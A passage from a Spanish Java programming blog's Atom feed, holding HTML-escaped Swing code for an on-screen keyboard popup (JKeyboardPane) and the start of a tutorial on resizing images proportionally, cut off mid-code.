txtclave.getLocationOnScreen().y-1);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void focusLost(FocusEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.setVisible(false);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txtusu.addFocusListener(new FocusListener(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void focusGained(FocusEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop = new JPopupMenu();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;teclado=new JKeyboardPane(txtusu);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.add(teclado);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.setLocation(txtclave.getLocationOnScreen().x+112, txtclave.getLocationOnScreen().y-1);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void focusLost(FocusEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pop.setVisible(false);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pafuera.add(p);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(pafuera);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void colocarSkin(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (ClassNotFoundException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (InstantiationException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (IllegalAccessException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (UnsupportedLookAndFeelException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String arg[]){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setBounds(0, 0, 300, 200);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setLocationRelativeTo(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase JKeyboardPane&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.BorderLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.GridLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.ActionEvent;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.ActionListener;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.util.ArrayList;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class JKeyboardPane extends JPanel{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextField txt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;String teclas[]={"1","2","3","4","5","6","7","8","9","0","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Ñ","Z","X","C","V","B","N","M","."};&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;ArrayList&amp;lt;JButton&amp;gt; botones=new ArrayList&amp;lt;JButton&amp;gt;();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPanel pletras,pespacio;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public JKeyboardPane(JTextField t){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txt=t;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pletras=new JPanel();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setLayout(new BorderLayout());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pletras.setLayout(new GridLayout(4,10,0,0));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ActionListener accion=new ActionListener(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(ActionEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;JButton b=(JButton)e.getSource();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(!b.getText().equalsIgnoreCase(" ")){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;txt.setText(""+txt.getText()+b.getText());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}else{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;txt.setText(txt.getText()+" ");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;for(int i=0;i&amp;lt;37;i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if(teclas[i].equalsIgnoreCase("Z")){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;JLabel l=new JLabel();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pletras.add(l);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;JButton b=new JButton(teclas[i]);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;b.addActionListener(accion);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;pletras.add(b);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;botones.add(b);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pespacio=new JPanel(new GridLayout(1,3));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JButton bespacio=new JButton(" ");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;bespacio.addActionListener(accion);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pespacio.add(new JLabel());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pespacio.add(bespacio);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pespacio.add(new JLabel());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(pletras);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(pespacio,BorderLayout.SOUTH);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Descargar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El proyecto completo lo pueden descargar desde&amp;nbsp;&lt;a href="http://dl.dropbox.com/u/61822104/Proyectos%20Java%20Zone/JKeyboard.rar"&gt;aquí&lt;/a&gt;, se incluyen las&amp;nbsp;imágenes, los archivos fuentes y el Jar ejecutable.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-4910247561937062515?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/4910247561937062515/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/jkeyboard.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/4910247561937062515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/4910247561937062515'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/jkeyboard.html' title='JKeyBoard'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-5epWK8afReY/T0QukRcPbBI/AAAAAAAAAkg/VbwCth8ECPY/s72-c/JKeyboard+1+-+Java+Zone.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-8828613606451147042</id><published>2012-02-19T19:46:00.000-05:00</published><updated>2012-02-19T19:49:30.460-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redimensionar imagen'/><category scheme='http://www.blogger.com/atom/ns#' term='escarlar imagen'/><category scheme='http://www.blogger.com/atom/ns#' term='Redimensionar foto'/><title type='text'>Redimensionar Imagen</title><content type='html'>&lt;b&gt;&lt;span style="font-size: large;"&gt;Redimensionar Imagen&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Hoy veremos como podemos cambiar el tamaño de una imagen sin perder la&amp;nbsp;proporción&amp;nbsp;de la imagen, osea mantener un equilibrio entre el ancho y el alto de la imagen.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-dlbbkt9vj6Y/T0GW0GmgvRI/AAAAAAAAAkI/FoCOT5DDLgA/s1600/RedimensionarImagen+1+-+JavaZone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="256" src="http://2.bp.blogspot.com/-dlbbkt9vj6Y/T0GW0GmgvRI/AAAAAAAAAkI/FoCOT5DDLgA/s320/RedimensionarImagen+1+-+JavaZone.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-saUUcTMJmEk/T0GW0mfpdOI/AAAAAAAAAkQ/u7pG6QHiA1w/s1600/RedimensionarImagen+2+-+JavaZone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="256" src="http://3.bp.blogspot.com/-saUUcTMJmEk/T0GW0mfpdOI/AAAAAAAAAkQ/u7pG6QHiA1w/s320/RedimensionarImagen+2+-+JavaZone.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-1lUV_WFvMIk/T0GW1dpfb8I/AAAAAAAAAkY/0_TWJGnynrE/s1600/RedimensionarImagen+3+-+JavaZone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="256" src="http://3.bp.blogspot.com/-1lUV_WFvMIk/T0GW1dpfb8I/AAAAAAAAAkY/0_TWJGnynrE/s320/RedimensionarImagen+3+-+JavaZone.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Código&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.BorderLayout;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.ActionEvent;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.ActionListener;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.io.IOException;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.imageio.ImageIO;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JFrame {&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPanel panelPrincipal;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;PanelDibujo pd;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;boolean sw=false;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colocarSkin();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setLayout(new BorderLayout());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;panelPrincipal=new JPanel();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;panelPrincipal.setLayout(new BorderLayout());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;JToolBar barra=new JToolBar();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;JMenuItem abrir=new JMenuItem("Abrir");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;abrir.addActionListener(new ActionListener() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; @Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; public void actionPerformed(ActionEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;JFileChooser selector=new JFileChooser();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;int resultado=selector.showOpenDialog(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;if(resultado==JFileChooser.APPROVE_OPTION){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;pd=new PanelDibujo(ImageIO.read(selector.getSelectedFile()));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;pd.repaint();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;repaint();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; 